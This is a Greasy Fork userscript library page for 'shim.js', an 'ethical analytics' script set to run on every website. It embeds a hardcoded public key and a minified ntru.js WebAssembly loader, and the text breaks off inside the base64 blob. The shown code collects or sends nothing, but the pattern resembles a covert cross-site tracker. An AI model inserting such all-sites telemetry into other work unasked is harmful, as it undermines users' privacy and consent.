shim.js

Ethical analytics in one click. Simple as that.

נכון ליום 31-03-2023. ראה הגרסה האחרונה.

אין להתקין סקריפט זה ישירות. זוהי ספריה עבור סקריפטים אחרים // @require https://update.greasyfork.org/scripts/410512/1169123/shimjs.js

// ==UserScript==
// @name         shim.js
// @namespace    https://ksw2-center.glitch.me/
// @description  Ethical analytics in one click. Simple as that.
// @author       ksw2 developers
// @match        *://*/*
// ==/UserScript==

(() => {
    const root = globalThis;
    const isNode = !!(root.process?.env);
    /**
     * @privacy https://zbeacon.org/privacy
     * @version 1.0.1
     * @author zbc developers https://zbeacon.org/privacy
     * @copyright zbc developers 2020-present
     * @license Some parts of this code is licensed under their respective licenses, all else is all rights reserved for zbc developers.
     */
    let ksw = 0;

    const isBackground = !!(typeof chrome !== "undefined" && chrome.extension);
    const isIframe = !isNode && (root.location != root.parent.location);
    const SCRIPT_VERSION = "1.0.1";
    const StartDate = Date.now();
    let disableDueToContext = isIframe && !isBackground; //can overload

    const E2EE_PUBKEY = new Uint8Array(`1,3,0,6,16,236,218,180,55,104,84,179,58,153,199,13,75,153,147,248,34,99,124,121,251,1,53,55,142,198,19,245,77,40,27,110,198,85,248,116,10,210,68,151,46,141,64,188,70,164,28,28,14,188,179,6,24,205,54,80,232,217,158,199,166,6,157,134,100,194,112,78,112,4,78,75,177,118,184,92,34,3,73,148,254,100,169,199,112,187,224,56,243,195,243,91,107,132,201,173,160,149,84,124,152,74,20,71,99,214,185,94,65,163,101,144,118,30,244,43,241,49,140,129,192,62,174,187,20,3,255,144,204,66,184,86,125,96,107,124,25,105,0,193,26,38,132,225,196,130,33,255,216,87,53,19,88,60,211,219,11,225,21,165,128,235,229,73,3,3,172,105,120,200,108,5,69,178,128,20,120,106,92,117,161,44,247,38,120,147,110,63,159,78,157,233,232,162,45,51,154,233,152,51,192,224,144,88,73,182,13,1,121,163,11,11,84,27,162,26,186,201,203,246,83,77,18,146,74,8,252,241,42,235,70,59,226,88,22,171,231,109,186,69,43,29,231,117,180,226,251,13,245,173,170,92,184,203,162,238,120,246,184,74,144,126,35,5,102,102,68,181,154,247,148,172,148,87,50,51,197,173,100,108,240,195,95,95,145,49,248,191,188,157,13,254,67,45,106,124,200,64,201,30,37,255,179,89,124,75,175,198,42,146,212,213,135,70,121,193,240,81,71,128,151,208,23,202,147,58,91,71,169,243,160,74,198,213,69,252,154,233,202,63,50,109,221,221,37,63,11,183,73,148,17,224,216,184,158,63,182,178,169,221,149,179,3,164,52,205,90,11,249,201,13,237,164,238,19,160,200,221,111,23,184,222,64,128,93,168,151,112,57,41,196,150,116,241,136,47,168,167,59,137,39,6,21,64,30,136,170,19,252,242,141,44,96,149,182,133,213,126,6,207,132,100,66,155,108,173,91,241,123,99,164,26,170,130,98,160,219,195,162,57,27,183,25,23,5,47,223,238,230,92,130,125,61,168,177,252,251,178,250,210,115,175,101,24,212,59,187,110,220,2,28,74,113,233,118,158,43,86,90,185,104,218,1,52,78,138,122,19,78,151,89,211,52,227,171,161,23,208,147,129,196,56,36,27,223,255,162,77,206,81,88,80,55,180,189,150,71,51,8,126,93,226,139,126,8,18,168,7,124,61,77,66,179,103,146,229,119,184,91,22,137,121,157,75,217,139,89,68,29,60,140,112,150,87,153,236,113,113,104,122,143,161,103,151,235,252,176,192,110,117,55,114,184,102,234,250,154,98,174,51,140,172,5,36,184,58,180,5,128,37,32,25,221,108,168,13,72,192,148,138,199,16,71,239,60,18,207,5,211,45,1,86,156,82,1,172,147,236,240,221,173,98,139,42,14,235,147,194,136,239,32,205,6,195,179,245,208,110,96,130,90,87,216,195,150,94,100,19,105,151,175,26,161,198,78,182,228,60,48,131,73,200,103,57,32,115,69,29,9,142,98,52,56,97,113,99,73,36,98,78,211,24,86,29,33,77,78,67,229,8,153,76,225,80,229,223,97,229,74,65,161,181,95,199,163,125,13,124,161,218,117,160,176,172,71,248,214,120,93,203,231,137,4,222,108,116,34,239,124,248,59,102,236,199,183,252,54,221,129,13,111,94,73,14,133,89,248,72,112,46,11,2,34,254,2,46,49,106,108,203,195,214,144,110,77,221,135,138,22,196,175,218,196,91,157,157,119,141,72,66,107,250,26,228,139,158,136,210,214,176,115,197,106,205,176,43,34,254,242,24,8,114,86,231,139,1,100,51,72,70,95,70,133,187,175,125,242,16,92,172,254,118,215,119,195,153,73,46,6,63,104,170,12,3,22,158,219,236,191,99,101,82,8,227,87,78,173,114,236,96,120,65,229,55,127,20,241,157,9,82,201,95,189,122,119,7,172,59,220,215,138,39,184,228,159,35,143,255,181,92,78,230,198,207,45,89,124,229,126,7,129,207,230,54,109,134,98,98,67,211,135,121,222,33,141,171,172,244,108,92,131,216,163,3,24,198,104,128,37,215,35,153,192,210,34,98,201,21,230,179,109,107,84,220,122,203,187,76,170,195,204,156,175,245,79,60,93,247,100,205,18,30,171,132,157,213,141,102,87,74,43,16,219,125,53,26,53,137,83,28,170,225,238,51,72,69,156,196,211,156,8,15,110,133,53,145,7,201,139,116,58,165,93,35,141,231,206,91,169,232,8,120,131,135,33,194,177,16,217,56,58,92,73,202,10,36,185,119,4,80,185,20,104`.split(",").map(e=>Number(e)));
    //console.log("Public key:", E2EE_PUBKEY);
    //this key allows E2EE, it *has* to be built in for this to work. As long as key integrity works, then there will be guaranteed data security.
    if (!disableDueToContext) {
        /**
         * [ntru-js]
         * {@link https://github.com/cyph/ntru.js}
         * @version 3.0.0
         * @author Cyph, Inc [codes@cyph.com]
         * @copyright Cyph, Inc 2020
         * @license Simplified BSD
         */
        const ntru = (() => {
            var ntru = function() {
                var A, I, g, B, methodHolder = {};
            
                function _process1(A, I) {
                    if (0 === A) return I;
                    throw new Error("NTRU error: " + A)
                }
            
                function wrapArray(A, I) {
                    return new Uint8Array(new Uint8Array(methodHolder.HEAPU8.buffer, A, I))
                }
            
                function freeMemory(A) {
                    try {
                        methodHolder._free(A)
                    } catch (A) {
                        setTimeout((function() {
                            throw A
                        }), 0)
                    }
                }
                methodHolder.ready = new Promise((function(A, I) {
                    (B = {}).onAbort = I, B.onRuntimeInitialized = function() {
                        try {
                            B._ntrujs_public_key_bytes(), A(B)
                        } catch (A) {
                            I(A)
                        }
                    };
                    var g, B = void 0 !== B ? B : {},
                        Q = {};
                    for (g in B) B.hasOwnProperty(g) && (Q[g] = B[g]);
                    var E = [],
                        isBrowser = !1,
                        isNode = !1,
                        n = !1,
                        o = !1;
                    isBrowser = "object" == typeof window,
                    isNode = "function" == typeof importScripts,
                    n = "object" == typeof process && "object" == typeof process.versions && "string" == typeof process.versions.node,
                    o = !isBrowser && !n && !isNode;
                    var r, a, e, c, t = "";

                    function f(A) {
                        return B.locateFile ? B.locateFile(A, t) : t + A
                    }
                    n ? (t = isNode ? eval("require")("path").dirname(t) + "/" : __dirname + "/", r = function(A, I) {
                        var g = yA(A);
                        return g ? I ? g : g.toString() : (e || (e = eval("require")("fs")), c || (c = eval("require")("path")), A = c.normalize(A), e.readFileSync(A, I ? null : "utf8"))
                    }, a = function(A) {
                        var I = r(A, !0);
                        return I.buffer || (I = new Uint8Array(I)), u(I.buffer), I
                    }, process.argv.length > 1 && process.argv[1].replace(/\\/g, "/"), E = process.argv.slice(2), "undefined" != typeof module && (module.exports = B), process.on("uncaughtException", (function(A) {
                        if (!(A instanceof NA)) throw A
                    })), process.on("unhandledRejection", inform), function(A) {
                        process.exit(A)
                    }, B.inspect = function() {
                        return "[Emscripten Module object]"
                    }) : o ? ("undefined" != typeof read && (r = function(A) {
                        var I = yA(A);
                        return I ? tA(I) : read(A)
                    }), a = function(A) {
                        var I;
                        return (I = yA(A)) ? I : "function" == typeof readbuffer ? new Uint8Array(readbuffer(A)) : (u("object" == typeof(I = read(A, "binary"))), I)
                    }, "undefined" != typeof scriptArgs ? E = scriptArgs : void 0 !== arguments && (E = arguments), "function" == typeof quit && function(A) {
                        quit(A)
                    }, "undefined" != typeof print && ("undefined" == typeof console && (console = {}), console.log = print, console.warn = console.error = "undefined" != typeof printErr ? printErr : print)) : (isBrowser || isNode) && (isNode ? t = self.location.href : document.currentScript && (t = document.currentScript.src), t = 0 !== t.indexOf("blob:") ? t.substr(0, t.lastIndexOf("/") + 1) : "", r = function(A) {
                        try {
                            var I = new XMLHttpRequest;
                            return I.open("GET", A, !1), I.send(null), I.responseText
                        } catch (I) {
                            var g = yA(A);
                            if (g) return tA(g);
                            throw I
                        }
                    }, isNode && (a = function(A) {
                        try {
                            var I = new XMLHttpRequest;
                            return I.open("GET", A, !1), I.responseType = "arraybuffer", I.send(null), new Uint8Array(I.response)
                        } catch (I) {
                            var g = yA(A);
                            if (g) return g;
                            throw I
                        }
                    }), function(A, I, g) {
                        var B = new XMLHttpRequest;
                        B.open("GET", A, !0), B.responseType = "arraybuffer", B.onload = function() {
                            if (200 == B.status || 0 == B.status && B.response) I(B.response);
                            else {
                                var Q = yA(A);
                                Q ? I(Q.buffer) : g()
                            }
                        }, B.onerror = g, B.send(null)
                    });
                    var D, y, d = B.print || console.log.bind(console),
                        s = B.printErr || console.warn.bind(console);
                    for (g in Q) Q.hasOwnProperty(g) && (B[g] = Q[g]);
                    Q = null, B.arguments && (E = B.arguments), B.thisProgram && B.thisProgram, B.quit && B.quit, B.wasmBinary && (D = B.wasmBinary), B.noExitRuntime && B.noExitRuntime, "object" != typeof WebAssembly && s("no native wasm support detected");
                    var F = new WebAssembly.Table({
                            initial: 10,
                            maximum: 10,
                            element: "anyfunc"
                        }),
                        N = !1;
            
                    function u(A, I) {
                        A || inform("Assertion failed: " + I)
                    }
            
                    function k(A, I) {
                        G.set(A, I)
                    }
                    var w, G, R, H, h, M = 65536;
            
                    function q(A) {
                        w = A, B.HEAP8 = G = new Int8Array(A), B.HEAP16 = new Int16Array(A), B.HEAP32 = H = new Int32Array(A), B.HEAPU8 = R = new Uint8Array(A), B.HEAPU16 = new Uint16Array(A), B.HEAPU32 = new Uint32Array(A), B.HEAPF32 = new Float32Array(A), B.HEAPF64 = h = new Float64Array(A)
                    }
                    var l = 8392176,
                        S = 3408,
                        p = B.INITIAL_MEMORY || 16777216;
            
                    function U(A) {
                        for (; A.length > 0;) {
                            var I = A.shift();
                            if ("function" != typeof I) {
                                var g = I.func;
                                "number" == typeof g ? void 0 === I.arg ? B.dynCall_v(g) : B.dynCall_vi(g, I.arg) : g(void 0 === I.arg ? null : I.arg)
                            } else I(B)
                        }
                    }(y = B.wasmMemory ? B.wasmMemory : new WebAssembly.Memory({
                        initial: p / M,
                        maximum: p / M
                    })) && (w = y.buffer), p = w.byteLength, q(w), H[S >> 2] = l;
                    var b = [],
                        L = [],
                        J = [],
                        Y = [];
            
                    function m() {
                        if (B.preRun)
                            for ("function" == typeof B.preRun && (B.preRun = [B.preRun]); B.preRun.length;) v(B.preRun.shift());
                        U(b)
                    }
            
                    function X() {
                        !0, U(L)
                    }
            
                    function z() {
                        U(J)
                    }
            
                    function x() {
                        if (B.postRun)
                            for ("function" == typeof B.postRun && (B.postRun = [B.postRun]); B.postRun.length;) W(B.postRun.shift());
                        U(Y)
                    }
            
                    function v(A) {
                        b.unshift(A)
                    }
            
                    function W(A) {
                        Y.unshift(A)
                    }
                    var Z = 0,
                        V = null,
                        K = null;
            
                    function O(A) {
                        Z++, B.monitorRunDependencies && B.monitorRunDependencies(Z)
                    }
            
                    function _(A) {
                        if (Z--, B.monitorRunDependencies && B.monitorRunDependencies(Z), 0 == Z && (null !== V && (clearInterval(V), V = null), K)) {
                            var I = K;
                            K = null, I()
                        }
                    }
            
                    function inform(A) {
                        throw B.onAbort && B.onAbort(A), d(A += ""), s(A), N = !0, 1, A = "abort(" + A + "). Build with -s ASSERTIONS=1 for more info.", new WebAssembly.RuntimeError(A)
                    }
            
                    function T(A, I) {
                        return String.prototype.startsWith ? A.startsWith(I) : 0 === A.indexOf(I)
                    }
                    B.preloadedImages = {}, B.preloadedAudios = {};
                    var P = "data:application/octet-stream;base64,";
            
                    function $(A) {
                        return T(A, P)
                    }
                    var AA = "file://";
            
                    function IA(A) {
                        return T(A, AA)
                    }
                    var rawWASMData = "data:application/octet-stream;base64,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